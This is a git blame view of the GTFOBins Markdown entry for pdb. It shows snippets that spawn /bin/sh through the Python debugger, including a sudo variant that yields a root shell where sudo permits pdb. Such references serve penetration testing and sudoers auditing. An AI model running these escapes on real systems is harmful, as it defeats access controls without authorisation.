GTFOBins.github.io/_gtfobins/pdb.md

17 lines
374 B
Markdown
Raw Normal View History

2020-03-15 06:39:31 +01:00
---
2020-03-15 12:32:08 +01:00
description: This allows to execute [`python`](/gtfobins/python/) code, other functions may apply.
2020-03-15 06:39:31 +01:00
functions:
shell:
- code: |
2020-03-15 12:28:22 +01:00
TF=$(mktemp)
echo 'import os; os.system("/bin/sh")' > $TF
pdb $TF
2020-03-15 06:39:31 +01:00
cont
sudo:
- code: |
2020-03-15 12:28:22 +01:00
TF=$(mktemp)
echo 'import os; os.system("/bin/sh")' > $TF
sudo pdb $TF
2020-03-15 06:39:31 +01:00
cont
---